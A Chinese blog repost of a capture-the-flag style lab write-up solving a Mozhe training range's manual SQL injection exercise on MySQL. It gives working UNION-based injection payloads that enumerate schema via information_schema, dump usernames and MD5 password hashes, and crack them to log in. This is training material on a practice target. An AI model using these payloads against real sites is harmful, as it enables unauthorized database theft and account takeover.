IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 墨者靶场:SQL手工注入漏洞测试(MySQL数据库) -> 正文阅读

[大数据]墨者靶场:SQL手工注入漏洞测试(MySQL数据库)

有一说一,本来是准备把笔记写在墨者的解题思路里的,结果不让写了,离谱

启动靶场后,会进入一个登录界面,界面下面有一个维修公告,打开公告。

1.判断有没有注入点:

219.153.49.228:49464/new_list.php?id=1 and 1=1
219.153.49.228:49464/new_list.php?id=1 and 1=2

这个就是一个简单的逻辑问题,真且真为真,真且假为假。

2.猜解列名量(字段数)

利用语句 order by x (x为临界点),更改x的值,从而找出字段数 。根据情况我们从小到大或者从大到小挨个试就行。这里的字段数为4
(回车后出现的%20为空格)

new_list.php?id=1 order by 4

3.查找可现实字段数

new_list.php?id=-1 union select 1,2,3,4

注意:将id=1改为id=-1。我们要让传递的信息为后面的语句。

我们可以到页面显示的大大的2,这里的可显示字段数为2.

4.信息收集

数据库版本 version() ? ? ? ? ? ? ? ? ? ? ? ? ? ? ???????? | 5.7.22-0ubuntu0.16.04.1

数据库名字 database() ? ? ? ? ? ? ? ? ? ? ? ? ?? ? ? ?? |mozhe_Discuz_StormGroup

数据库用户 user() ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? | root@localhost

操作系统 @@version_compile_os ? ? ? ? ? ? ? ? ? ? ?? | Linux

这里收集数据库名就够用了,其他的信息闲的无聊的也可以收集下。

new_list.php?id=-1 union select 1,group_concat(database()),3,4

?5.查询所有表名

这里补充一点东西:

1.在MYSQL5.0(好像是)以上版本中,MYSQL存在一个自带的数据库名为information_schema,他是一个存储所有数据库名,表名,列名的数据库。

2.数据库中符号“ . ”代表下一级

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

这里得到两个表名

6.查询指定表名下的列名信息

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

信息:id,name,password,status

7.查询指定的数据

union select 1,name,password,4 from StormGroup_member

猜解多个数据可以采用limit x,1 变动猜解:

union select 1,name,password,4 from StormGroup_member limit 0,1

这里我们只需要拿到账号密码就行了。这里的密码是MD5加密的,我们去md5在线解密破解,md5解密加密这里解密一下就行了

mozhe dsan13

?mozhe 756600

应该是登录第二个账号密码是可以正常登录的。

?KEY在最下面直接提交就好了。

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-10-24 14:59:55  更:2021-10-24 15:00:17 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 3:40:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码